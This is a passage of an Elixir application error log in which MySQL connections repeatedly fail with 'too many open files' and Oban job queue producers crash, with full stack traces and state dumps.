[Sun Sep  6 00:06:57.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:00.000000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:00.709000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:01.157000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:02.978000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:06.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:06.412000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:06:56.240128Z], limit: 5, uuid: "a50ed587-10c7-48ed-a4d4-f94662c2ef25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.240133Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46822>, refresh_timer: #Reference<0.2525715032.1068498948.46802>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:06:56.239691Z], limit: 3, uuid: "3dafde20-ac9d-41b9-baf3-3dea2c35a3f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.239696Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46823>, refresh_timer: #Reference<0.2525715032.1068498948.46793>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:06:56.239487Z], limit: 50, uuid: "bddaab1e-86ef-4624-8c38-ba634bd0817b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.239492Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.22108>, refresh_timer: #Reference<0.2525715032.1099431938.46298>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:06:56.240576Z], limit: 5, uuid: "ef27128a-69aa-4a09-9f26-48143e4eea3f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.240580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.22107>, refresh_timer: #Reference<0.2525715032.1121189889.158701>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:06:56.240875Z], limit: 10, uuid: "66fef51a-002c-4a94-ad98-5948642f1204", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.240879Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.22106>, refresh_timer: #Reference<0.2525715032.1077673987.22105>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:06:56.238567Z], limit: 20, uuid: "0c572745-1d90-4a43-9654-5c2cd9b0869c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:56.238573Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46824>, refresh_timer: #Reference<0.2525715032.1099431938.46280>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:12.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:13.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:14.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:16.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:19.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:19.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:07:08.239306Z], limit: 10, uuid: "34541a40-4fa8-46c2-9c22-b75eee8c2d34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.239313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47096>, refresh_timer: #Reference<0.2525715032.1068498948.47078>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:07:08.239630Z], limit: 5, uuid: "95a256d1-d79b-4f15-ae2a-8638ba019634", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.239635Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47098>, refresh_timer: #Reference<0.2525715032.1099431938.46445>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
